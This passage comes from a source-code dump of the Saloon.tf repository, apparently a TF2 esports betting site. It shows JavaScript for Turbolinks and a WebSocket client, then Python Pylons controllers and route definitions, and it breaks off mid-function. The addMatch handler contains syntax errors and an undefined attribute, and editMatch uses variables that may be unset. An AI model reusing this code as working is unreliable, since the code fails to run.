visit(event.target.location.href);\n }\n }\n };\n\n initializeTurbolinks = function() {\n rememberCurrentUrl();\n rememberCurrentState();\n document.addEventListener('click', Click.installHandlerLast, true);\n window.addEventListener('hashchange', function(event) {\n rememberCurrentUrl();\n return rememberCurrentState();\n }, false);\n return bypassOnLoadPopstate(function() {\n return window.addEventListener('popstate', installHistoryChangeHandler, false);\n });\n };\n\n historyStateIsDefined = window.history.state !== void 0 || navigator.userAgent.match(/Firefox\\/2[6|7]/);\n\n browserSupportsPushState = window.history && window.history.pushState && window.history.replaceState && historyStateIsDefined;\n\n browserIsntBuggy = !navigator.userAgent.match(/CriOS\\//);\n\n requestMethodIsSafe = (_ref = popCookie('request_method')) === 'GET' || _ref === '';\n\n browserSupportsTurbolinks = browserSupportsPushState && browserIsntBuggy && requestMethodIsSafe;\n\n browserSupportsCustomEvents = document.addEventListener && document.createEvent;\n\n if (browserSupportsCustomEvents) {\n installDocumentReadyPageEventTriggers();\n installJqueryAjaxSuccessPageUpdateTrigger();\n }\n\n if (browserSupportsTurbolinks) {\n visit = fetch;\n initializeTurbolinks();\n } else {\n visit = function(url) {\n return document.location.href = url;\n };\n }\n\n this.Turbolinks = {\n visit: visit,\n pagesCached: pagesCached,\n enableTransitionCache: enableTransitionCache,\n allowLinkExtensions: Link.allowExtensions,\n supported: browserSupportsTurbolinks,\n EVENTS: clone(EVENTS)\n };\n\n}).call(this);\n\n(function() {\n var WebSocketConnection,\n __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; };\n\n $(function() {\n $(document).on('page:load page:restore', function() {\n if (!window.bot) {\n $(\"[data-bot-required]\").addClass(\"disabled\");\n }\n });\n });\n\n WebSocketConnection = (function() {\n function WebSocketConnection(url) {\n this.url = url;\n this.onError = __bind(this.onError, this);\n this.onMessage = __bind(this.onMessage, this);\n this.onClose = __bind(this.onClose, this);\n this.onOpen = __bind(this.onOpen, this);\n this.url = this.url;\n this.ws = void 0;\n this.connected = false;\n this.opencallbacks = [];\n this.closecallbacks = [];\n this.callbacks = [];\n this.persistentcallbacks = [];\n }\n\n WebSocketConnection.prototype.connect = function() {\n this.ws = new WebSocket(this.url);\n this.ws.onopen = this.onOpen;\n this.ws.onclose = this.onClose;\n this.ws.onmessage = this.onMessage;\n return this.ws.onerror = this.onError;\n };\n\n WebSocketConnection.prototype.addOpen = function(callback) {\n return this.opencallbacks.push(callback);\n };\n\n WebSocketConnection.prototype.addClose = function(callback) {\n return this.closecallbacks.push(callback);\n };\n\n WebSocketConnection.prototype.addMessage = function(callback) {\n return this.callbacks.push(callback);\n };\n\n WebSocketConnection.prototype.addMessagePersistent = function(callback) {\n return this.persistentcallbacks.push(callback);\n };\n\n WebSocketConnection.prototype.clearMessages = function(callback) {\n return this.callbacks = [];\n };\n\n WebSocketConnection.prototype.onOpen = function(event) {\n var callback, _i, _len, _ref, _results;\n _ref = this.opencallbacks;\n _results = [];\n for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n callback = _ref[_i];\n _results.push(callback.call(this, event));\n }\n return _results;\n };\n\n WebSocketConnection.prototype.onClose = function(event) {\n var callback, _i, _len, _ref, _results;\n _ref = this.closecallbacks;\n _results = [];\n for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n callback = _ref[_i];\n _results.push(callback.call(this, event));\n }\n return _results;\n };\n\n WebSocketConnection.prototype.onMessage = function(event) {\n var callback, _i, _j, _len, _len1, _ref, _ref1, _results;\n _ref = this.callbacks;\n for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n callback = _ref[_i];\n callback.call(this, event);\n }\n _ref1 = this.persistentcallbacks;\n _results = [];\n for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n callback = _ref1[_j];\n _results.push(callback.call(this, event));\n }\n return _results;\n };\n\n WebSocketConnection.prototype.onError = function(event) {\n return console.log(event);\n };\n\n return WebSocketConnection;\n\n })();\n\n window.initializeSocket = function() {\n window.socket = new WebSocketConnection(\"wss://direct.saloon.tf:9000\");\n window.socket.addMessagePersistent((function(_this) {\n return function(event) {\n var array;\n array = JSON.parse(event.data);\n if (array[0] === \"reload\") {\n if (array.length === 1 || array[1] === window.location.pathname) {\n Turbolinks.visit(location.href);\n }\n }\n };\n })(this));\n window.socket.addClose((function(_this) {\n return function(event) {\n if (window.bot) {\n Turbolinks.visit(location.href);\n }\n window.bot = false;\n $(\".notification-pending-offer\").remove();\n if ($(\".notification-bot\").length === 0) {\n window.notification(\"danger\", \"bot\", \"Couldn't reach the WebSocket.<br><i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> <span class=\\\"notification-bot-task\\\">Reconnecting<span class=\\\"reconnect-timer\\\"> in <span class=\\\"reconnect-countdown\\\"></span></span></span>.\", false);\n }\n $(\".notification-queue\").remove();\n $(\".notification-pending-offer\").remove();\n window.countdownSocket(10);\n };\n })(this));\n window.socket.addOpen((function(_this) {\n return function(event) {\n if (!window.bot) {\n $(\".notification-bot-task\").text(\"Authenticating\");\n $.getJSON(\"/ajax/auth/\", function(data) {\n var json;\n window.bot = data.bot;\n window.userID = data.userID;\n window.steamID = data.steamID;\n if (window.bot) {\n json = JSON.stringify([\"auth\", data.UUID, new Fingerprint().get()]);\n window.socket.ws.send(json);\n $(\".notification-bot\").remove();\n $(\"[data-bot-required]\").each(function() {\n if (window.trade === true || $(this).data(\"trade-required\") === void 0) {\n $(this).removeClass(\"disabled\");\n }\n });\n return Turbolinks.visit(location.href);\n } else {\n return window.countdownSocket(10);\n }\n });\n }\n };\n })(this));\n };\n\n window.countdownSocket = function(seconds) {\n if (seconds > 0) {\n $(\".reconnect-timer\").show();\n $(\".reconnect-countdown\").text(seconds);\n window.setTimeout((function() {\n window.countdownSocket(seconds - 1);\n }), 1000);\n } else {\n $(\".reconnect-timer\").hide();\n window.socket.connect();\n }\n };\n\n}).call(this);\n" }, { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.7037037014961243, "avg_line_length": 26.045454025268555, "blob_id": "a2ab08f7d56d4e0de103406c742df04cbbf3517a", "content_id": "eba0d34f3f978b59cea728075a4c117e1744e03f", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 92, "num_lines": 22, "path": "/Website/website/controllers/help.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass HelpController(BaseController):\n\n def index(self):\n # Return a rendered template\n c.current = \"help\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n return render(\"/help.mako\")" }, { "alpha_fraction": 0.6829526424407959, "alphanum_fraction": 0.6847677826881409, "avg_line_length": 65.11000061035156, "blob_id": "b754a281e0222a3eecab4dc70e073f2b1b140051", "content_id": "6a41297432628b441b295746cc87bfef57426256", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6611, "license_type": "no_license", "max_line_length": 127, "num_lines": 100, "path": "/Website/website/config/routing.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "\"\"\"Routes configuration\n\nThe more specific and detailed routes should be defined first so they\nmay take precedent over the more generic routes. For more information\nrefer to the routes manual at http://routes.groovie.org/docs/\n\"\"\"\nfrom routes import Mapper\n\ndef make_map(config):\n \"\"\"Create, configure and return the routes Mapper\"\"\"\n map = Mapper(directory=config['pylons.paths']['controllers'],\n always_scan=config['debug'])\n map.minimization = False\n map.explicit = False\n\n # The ErrorController route (handles 404/500 error pages); it should\n # likely stay at the top, ensuring it can always be resolved\n map.connect('/error/{action}', controller='error')\n map.connect('/error/{action}/{id}', controller='error')\n\n # CUSTOM ROUTES HERE\n map.redirect('/*(url)^(/)', '/{url}/', _redirect_code='302 Moved Temporarily')\n map.redirect('/', '/home/', _redirect_code='302 Moved Temporarily')\n\n map.connect('/login/', controller='login', action='index')\n map.connect('/login/goto/{path}/', controller='login', action='index')\n map.connect('/login/code/{code}/', controller='login', action='index')\n map.connect('/trade/{id}/', controller='trade', action='index')\n map.connect('/code/', controller='betaCode', action='index')\n map.connect('/match/{matchID}/', controller='match', action='index')\n map.connect('/match/{matchID}/switch/', controller='match', action='switch')\n map.connect('/offer/{offerUUID}/', controller='offer', action='index')\n map.connect('/offers/{matchID}/', controller='offers', action='index')\n map.connect('/support/{categoryID}/{topic}/', controller='support', action='index')\n\n map.connect('/manage/notification/', controller='manage', action='dashboard')\n map.connect('/manage/notification/activate/', controller='manage', action='editNotification')\n map.connect('/manage/notification/deactivate/', controller='manage', action='disableNotification')\n map.connect('/manage/leagues/add/', controller='manage', action='addLeague')\n map.connect('/manage/leagues/edit/{leagueID}/', controller='manage', action='editLeague')\n map.connect('/manage/leagues/remove/{leagueID}/', controller='manage', action='removeLeague')\n map.connect('/manage/teams/', controller='manage', action='teamsLeagues')\n map.connect('/manage/teams/{leagueID}/', controller='manage', action='teamsList')\n map.connect('/manage/teams/{leagueID}/add/', controller='manage', action='addTeam')\n map.connect('/manage/teams/{leagueID}/remove/{teamID}/', controller='manage', action='removeTeam')\n map.connect('/manage/teams/{leagueID}/edit/{teamID}/', controller='manage', action='editTeam')\n map.connect('/manage/teams/{leagueID}/edit/{teamID}/roster/', controller='manage', action='playersList')\n map.connect('/manage/teams/{leagueID}/edit/{teamID}/roster/add/', controller='manage', action='addPlayer')\n map.connect('/manage/teams/{leagueID}/edit/{teamID}/roster/remove/{playerID}/', controller='manage', action='removePlayer')\n map.connect('/manage/teams/{leagueID}/edit/{teamID}/roster/edit/{playerID}/', controller='manage', action='editPlayer')\n map.connect('/manage/matches/', controller='manage', action='matchesLeagues')\n map.connect('/manage/matches/{leagueID}/', controller='manage', action='matchesList')\n map.connect('/manage/matches/{leagueID}/add/', controller='manage', action='addMatch')\n map.connect('/manage/matches/{leagueID}/remove/{matchID}/', controller='manage', action='removeMatch')\n map.connect('/manage/matches/{leagueID}/edit/{matchID}/', controller='manage', action='editMatch')\n map.connect('/manage/users/', controller='manage', action='users')\n map.connect('/manage/users/{userID}/', controller='manage', action='user')\n map.connect('/manage/users/edit/{userID}/', controller='manage', action='editUser')\n map.connect('/manage/bots/add/', controller='manage', action='addBot')\n map.connect('/manage/bots/edit/{botID}/', controller='manage', action='editBot')\n map.connect('/manage/bots/offers/{botID}/', controller='manage', action='offersReceived')\n map.connect('/manage/bots/offers/{botID}/new/{userID}/', controller='manage', action='newOffer')\n map.connect('/manage/tickets/close/{ticketID}/', controller='manage', action='closeTicket')\n\n map.connect('/ajax/auth/', controller='ajax', action='auth')\n \n map.connect('/ajax/match/{matchID}/bets/team/{teamID}/', controller='ajax', action='bets')\n map.connect('/ajax/match/{matchID}/bets/team/{teamID}/offset/{offset}/', controller='ajax', action='bets')\n map.connect('/ajax/match/{matchID}/bets/team/{teamID}/limit/{limit}/', controller='ajax', action='bets')\n map.connect('/ajax/match/{matchID}/bets/team/{teamID}/{offset}/limit/{limit}/', controller='ajax', action='bets')\n\n map.connect('/ajax/{action}/', controller='ajax')\n map.connect('/ajax/{action}/offset/{offset}/', controller='ajax')\n map.connect('/ajax/{action}/limit/{limit}/', controller='ajax')\n map.connect('/ajax/{action}/offset/{offset}/limit/{limit}/', controller='ajax')\n\n map.connect('/api/users/name/{name}/', controller='api', action='users')\n map.connect('/api/users/steamid/{steamid}/', controller='api', action='users')\n map.connect('/api/users/name/{name}/limit/{limit}/', controller='api', action='users')\n map.connect('/api/users/steamid/{steamid}/limit/{limit}/', controller='api', action='users')\n\n map.connect('/api/teams/name/{name}/', controller='api', action='teams')\n map.connect('/api/teams/leagueID/{leagueID}/', controller='api', action='teams')\n map.connect('/api/teams/name/{name}/limit/{limit}/', controller='api', action='teams')\n map.connect('/api/teams/leagueID/{leagueID}/limit/{limit}/', controller='api', action='teams')\n\n map.connect('/api/match/{matchID}/', controller='api', action='match')\n\n map.connect('/api/match/{matchID}/bets/', controller='api', action='bets')\n map.connect('/api/match/{matchID}/bets/offset/{offset}/', controller='api', action='bets')\n map.connect('/api/match/{matchID}/bets/limit/{limit}/', controller='api', action='bets')\n map.connect('/api/match/{matchID}/bets/limit/{limit}/offset/{offset}/', controller='api', action='bets')\n map.connect('/api/match/{matchID}/bets/offset/{offset}/limit/{limit}/', controller='api', action='bets')\n\n map.connect('/api/refreshsession/', controller='api', action='refreshSession')\n \n map.connect('/{controller}/', action='index')\n map.connect('/{controller}/{action}/')\n map.connect('/{controller}/{action}/{id}')\n return map\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 26.75, "blob_id": "9ce7d5dc84fb079d36fc62f6923a96e11885fae2", "content_id": "9c6fc672022fbf8d2f9dbca261dd2f0937e71be0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 110, "license_type": "no_license", "max_line_length": 44, "num_lines": 4, "path": "/Website/website/model/meta.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "\"\"\"SQLAlchemy Metadata and Session object\"\"\"\nfrom database import Session, Base\n\n__all__ = ['Base', 'Session']" }, { "alpha_fraction": 0.5895470976829529, "alphanum_fraction": 0.5953404307365417, "avg_line_length": 39.38490676879883, "blob_id": "846d33e0c66cd286a1455eb3c4b7ffffc76b89b4", "content_id": "b179e80e3a86419b7cf596e8fbb4e69b9e1408a6", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32106, "license_type": "no_license", "max_line_length": 434, "num_lines": 795, "path": "/Website/website/controllers/manage.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, time, datetime, socket, json, os, re, urllib, math\nfrom pylons import request, response, session, tmpl_context as c, url, config\nfrom pylons.controllers.util import abort, redirect\nfrom natural import date as naturalDate\nfrom sqlalchemy import and_\nfrom sqlalchemy import sql\nfrom website.lib.base import BaseController, Session, render\nfrom website.lib.api import API, Schema\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass ManageController(BaseController):\n\n def index(self):\n # Returns a rendered template\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n if RUser.Permissions[0].manage:\n c.current = \"manage\"\n c.managePage = \"dashboard\"\n c.user = RUser.to_dict()\n RNotification = Session.query(db.Notifications).first()\n c.notification = RNotification.to_dict()\n return render('/manage/dashboard.mako')\n return abort(403)\n\n def editNotification(self):\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n if RUser.Permissions[0].manage:\n RNotification = Session.query(db.Notifications).first()\n RNotification.type = request.params[\"type\"]\n RNotification.text = request.params[\"text\"]\n RNotification.active = True\n Session.commit()\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 9002))\n s.send(json.dumps([\"notification\", \"update\", RNotification.type, RNotification.text]))\n s.close()\n except Exception, e:\n pass\n return redirect(\"https://saloon.tf/manage/\")\n return abort(403)\n\n def disableNotification(self):\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n if RUser.Permissions[0].manage:\n RNotification = Session.query(db.Notifications).first()\n RNotification.active = False\n Session.commit()\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 9002))\n s.send(json.dumps([\"notification\", \"disable\"]))\n s.close()\n except Exception, e:\n pass\n return redirect(\"https://saloon.tf/manage/\")\n return abort(403)\n\n def leagues(self):\n # Returns a rendered template\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].leagues:\n c.current = \"manage\"\n c.managePage = \"leagues\"\n c.user = RUser.to_dict()\n\n RLeagues = Session.query(db.Leagues).order_by(db.Leagues.id).all()\n c.leagues = []\n for RLeague in RLeagues:\n league = RLeague.to_dict()\n league[\"json\"] = json.dumps(league)\n c.leagues.append(league)\n\n return render('/manage/leagues.mako')\n return abort(403)\n\n def addLeague(self):\n # Returns redirection to /manage/leagues/\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].leagues:\n params = [\"name\", \"type\", \"region\", \"avatar\", \"accentColour\"]\n if all(item in request.params for item in params):\n if request.params[\"avatar\"].filename[-4:] != \".png\":\n success = False\n message = \"Wrong file type.\"\n else:\n RLeague = db.Leagues(name=request.params[\"name\"], type=request.params[\"type\"], region=request.params[\"region\"], colour=request.params[\"accentColour\"], detailsColour = request.params[\"detailsColour\"], textColour = request.params[\"textColour\"])\n Session.add(RLeague)\n Session.commit()\n os.makedirs(\"website/public/images/leagues/\" + str(RLeague.id))\n\n avatar = request.params[\"avatar\"].file\n avatar_path = os.path.join('website/public/images/leagues', str(RLeague.id), 'logo.png')\n temp_path = avatar_path + '~'\n output_file = open(temp_path, 'wb')\n avatar.seek(0)\n while True:\n data = avatar.read(2<<16)\n if not data:\n break\n output_file.write(data)\n output_file.close()\n os.rename(temp_path, avatar_path)\n return redirect(\"https://saloon.tf/manage/leagues/\")\n return redirect(\"https://saloon.tf/\")\n\n def editLeague(self, leagueID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].leagues:\n RLeague = Session.query(db.Leagues).filter(db.Leagues.id == leagueID).first()\n if RLeague:\n RLeague.name = request.params[\"name\"]\n RLeague.type = request.params[\"type\"]\n RLeague.region = request.params[\"region\"]\n RLeague.colour = request.params[\"accentColour\"]\n RLeague.detailsColour = request.params[\"detailsColour\"]\n RLeague.textColour = request.params[\"textColour\"]\n Session.commit()\n success = True\n message = \"Changed selected league.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't change this league.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def removeLeague(self, leagueID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].leagues:\n RLeague = Session.query(db.Leagues).filter(db.Leagues.id == leagueID).first()\n if RLeague:\n Session.delete(RLeague)\n Session.commit()\n success = True\n message = \"Removed selected league.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't remove this league.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def teamsLeagues(self):\n # Returns a rendered template\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].teams:\n c.current = \"manage\"\n c.managePage = \"teams\"\n c.user = RUser.to_dict()\n\n RLeagues = Session.query(db.Leagues).order_by(db.Leagues.id).all()\n c.leagues = []\n for RLeague in RLeagues:\n league = RLeague.to_dict()\n c.leagues.append(league)\n\n return render('/manage/teams/index.mako')\n else:\n return abort(403)\n else:\n return abort(403)\n\n def teamsList(self, leagueID):\n # Returns a rendered template\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].teams:\n c.current = \"manage\"\n c.managePage = \"teams\"\n c.user = RUser.to_dict()\n\n RLeague = Session.query(db.Leagues).filter(db.Leagues.id == leagueID).first()\n RTeams = Session.query(db.Teams).filter(db.Teams.league == leagueID).order_by(db.Teams.id).all()\n RCountries = Session.query(db.Countries).order_by(db.Countries.name).all()\n\n c.league = RLeague.to_dict()\n\n c.teams = []\n for RTeam in RTeams:\n team = RTeam.to_dict()\n team[\"json\"] = json.dumps(team)\n c.teams.append(team)\n \n c.countries = []\n for RCountry in RCountries:\n country = {}\n country[\"id\"] = RCountry.id\n country[\"name\"] = RCountry.name\n c.countries.append(country)\n\n return render('/manage/teams/list.mako')\n else:\n return abort(403)\n else:\n return abort(403)\n\n def addTeam(self, leagueID):\n # Returns a redirection to /manage/teams/{leagueID}\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].teams:\n RTeam = db.Teams(name=request.params[\"name\"], short=request.params[\"short\"], country=request.params[\"country\"], league=leagueID, link=request.params[\"link\"])\n Session.add(RTeam)\n Session.commit()\n\n avatar = request.params[\"avatar\"].file\n avatar_path = os.path.join('website/public/images/teams', str(RTeam.id) + '.jpg')\n temp_path = avatar_path + '~'\n output_file = open(temp_path, 'wb')\n avatar.seek(0)\n while True:\n data = avatar.read(2<<16)\n if not data:\n break\n output_file.write(data)\n output_file.close()\n os.rename(temp_path, avatar_path)\n return redirect(\"/manage/teams/\" + leagueID)\n else:\n return redirect(\"https://saloon.tf/\")\n else:\n return redirect(\"https://saloon.tf/\")\n\n def editTeam(self, leagueID, teamID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].teams:\n RTeam = Session.query(db.Teams).filter(db.Teams.id == teamID).first()\n if (RTeam):\n RTeam.name = request.params[\"name\"]\n RTeam.short = request.params[\"short\"]\n RTeam.country = request.params[\"country\"]\n RTeam.league = leagueID,\n RTeam.link = request.params[\"link\"]\n Session.commit()\n success = True\n message = \"Changed selected team.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't edit this team.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def removeTeam(self, leagueID, teamID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].teams:\n RTeam = Session.query(db.Teams).filter(db.Teams.id == teamID).first()\n if RTeam:\n RMatch = Session.query(db.Matches).filter(db.or_(db.Matches.team1 == teamID, db.Matches.team2 == teamID)).first()\n if RMatch:\n success = False\n message = \"<strong>Oh snap!</strong> I can't remove a team with matches.\"\n else:\n Session.delete(RTeam)\n Session.commit()\n success = True\n message = \"Removed selected team.\"\n else:\n success = False\n message = \"<strong>Oh snap!</strong> Couldn't remove this team.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n else:\n success = False\n message = \"You don't have sufficent privileges to access this page.\"\n\n array = {\"success\": success, \"message\": message}\n return json.dumps(array)\n\n def matchesLeagues(self):\n # Returns a rendered template\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bets:\n c.current = \"manage\"\n c.managePage = \"matches\"\n c.user = RUser.to_dict()\n\n RLeagues = Session.query(db.Leagues).order_by(db.Leagues.id).all()\n c.leagues = []\n for RLeague in RLeagues:\n league = RLeague.to_dict()\n league[\"json\"] = json.dumps(league)\n c.leagues.append(league)\n return render('/manage/matches/index.mako')\n return abort(403)\n\n def matchesList(self, leagueID):\n # Returns a rendered template\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bets:\n c.current = \"manage\"\n c.managePage = \"matches\"\n c.user = RUser.to_dict()\n\n RLeague = Session.query(db.Leagues).filter(db.Leagues.id == leagueID).first()\n RMatches = Session.query(db.Matches, db.Writeups).join(db.Writeups).filter(and_(db.Matches.league == leagueID, db.Matches.status != 5)).order_by(db.Matches.id.desc()).all()\n RTeams = Session.query(db.Teams).filter(db.Teams.league == leagueID).order_by(db.Teams.id).all()\n\n c.league = RLeague.to_dict()\n\n c.matches = []\n c.writeups = []\n for RMatch, RWriteup in RMatches:\n match = RMatch.to_dict()\n match[\"naturalTime\"] = RMatch.naturalTime()\n match[\"Team1\"].update(RMatch.team1Score())\n match[\"Team2\"].update(RMatch.team2Score())\n match[\"json\"] = json.dumps(match, default = lambda obj: obj.strftime(\"%d-%m-%Y %H:%M\") if isinstance(obj, datetime.datetime) else None)\n c.matches.append(match)\n writeup = RWriteup.to_dict()\n writeup[\"json\"] = json.dumps(writeup)\n c.writeups.append(writeup)\n\n c.teams = []\n for RTeam in RTeams:\n team = RTeam.to_dict()\n c.teams.append(team)\n\n return render('/manage/matches/list.mako')\n return abort(403)\n\n def addMatch(self, leagueID):\n # Returns a redirection to matches\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bets:\n advantage = 0\n basePoints = [0, 0, 0, 5][self.type]\n odd = [0, 0, 1, 1][self.type]\n if request.params[\"advantage\"] < 0:\n advantage = (request.params[\"advantage\"] - basePoints)\n if advantage % 2 == odd\n advantage += 0.5\n elif request.params[\"advantage\"] > 0:\n advantage = (request.params[\"advantage\"] + basePoints)\n if advantage % 2 == odd\n advantage -= 0.5\n\n advantage = advantage * 2\n\n RMatch = db.Matches(league=leagueID, team1=request.params[\"team1\"], team2=request.params[\"team2\"], advantage=advantage, stream=request.params[\"stream\"], betsLimit=request.params[\"betsLimit\"], type=request.params[\"type\"]) \n\n Session.add(RMatch)\n Session.commit()\n\n botsIDs = []\n RBots = db.Session.query(db.Bots).order_by(sql.expression.func.random()).all()\n for RBot in RBots:\n botsIDs.append(RBot.id)\n\n RMatch.preferredBots = botsIDs\n\n matchStart = True\n matchEnd = True\n try:\n time = datetime.datetime.strptime(request.params[\"time\"], \"%d-%m-%Y %H:%M\")\n if RMatch.time != time:\n RMatch.time = time\n else:\n matchStart = False\n except ValueError:\n if RMatch.time != None:\n RMatch.time = None\n else:\n matchStart = False\n try:\n time = datetime.datetime.strptime(request.params[\"endtime\"], \"%d-%m-%Y %H:%M\")\n if RMatch.endtime != time:\n RMatch.endtime = time\n else:\n matchEnd = False\n except ValueError:\n if RMatch.endtime != None:\n RMatch.endtime = None\n else:\n matchEnd = False\n\n if matchStart or matchEnd:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 9002))\n message = [\"queue\", []]\n if matchStart:\n message[1].append([\"matchStart\", RMatch.id, RMatch.time.strftime(\"%s\")])\n if matchEnd:\n message[1].append([\"matchEnd\", RMatch.id, RMatch.endtime.strftime(\"%s\")])\n s.send(json.dumps(message))\n s.close()\n except Exception, e:\n pass\n\n RBetsTotal1 = db.BetsTotal(match=RMatch.id, team=request.params[\"team1\"], value=0)\n RBetsTotal2 = db.BetsTotal(match=RMatch.id, team=request.params[\"team2\"], value=0)\n Session.add(RBetsTotal1)\n Session.add(RBetsTotal2)\n\n RWriteup = db.Writeups(match=RMatch.id, text=request.params[\"articleText\"], articleName=request.params[\"articleName\"], articleLink=request.params[\"articleLink\"], matchLink=request.params[\"matchLink\"], vodLink=request.params[\"vodLink\"])\n Session.add(RWriteup)\n\n Session.commit()\n return redirect(\"/manage/matches/%s/\" % (leagueID))\n return redirect(\"https://saloon.tf/\")\n\n def editMatch(self, leagueID, matchID):\n # Returns a json string\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser.Permissions[0].bets:\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch:\n if RMatch.status == 0:\n matchStart = True\n elif RMatch.status < 4:\n matchEnd = True\n\n try:\n time = datetime.datetime.strptime(request.params[\"time\"], \"%d-%m-%Y %H:%M\")\n if RMatch.time != time:\n RMatch.time = time\n else:\n matchStart = False\n except ValueError:\n if RMatch.time != None:\n RMatch.time = None\n else:\n matchStart = False\n try:\n time = datetime.datetime.strptime(request.params[\"endtime\"], \"%d-%m-%Y %H:%M\")\n if RMatch.endtime != time:\n RMatch.endtime = time\n else:\n matchEnd = False\n except ValueError:\n print request.params[\"time\"]\n if RMatch.endtime != None:\n RMatch.endtime = None\n else:\n matchEnd = False\n\n if matchStart or matchEnd:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n message = [\"queue\", []]\n s.connect((\"127.0.0.1\", 9002))\n if matchStart:\n message[1].append([\"matchStart\", RMatch.id, RMatch.time.strftime(\"%s\")])\n if matchEnd:\n message[1].append([\"matchEnd\", RMatch.id, RMatch.endtime.strftime(\"%s\")])\n s.send(json.dumps(message))\n s.close()\n except Exception, e:\n pass\n\n RMatch.stream = request.params[\"stream\"]\n RMatch.betsLimit = request.params[\"betsLimit\"]\n\n RWriteup = db.Session.query(db.Writeups).filter(db.Writeups.match == RMatch.id).first()\n if RWriteup:\n RWriteup.text = request.params[\"articleText\"]\n RWriteup.articleName = request.params[\"articleName\"]\n RWriteup.articleLink = request.params[\"articleLink\"]\n RWriteup.matchLink = request.params[\"matchLink\"]\n RWriteup.vodLink = request.params[\"vodLink\"]\n elif request.params[\"articleText\"]:\n RWriteup = db.Writeups(match=RMatch.id, text=request.params[\"articleText\"], articleName=request.params[\"articleName\"], articleLink=request.params[\"articleLink\"], 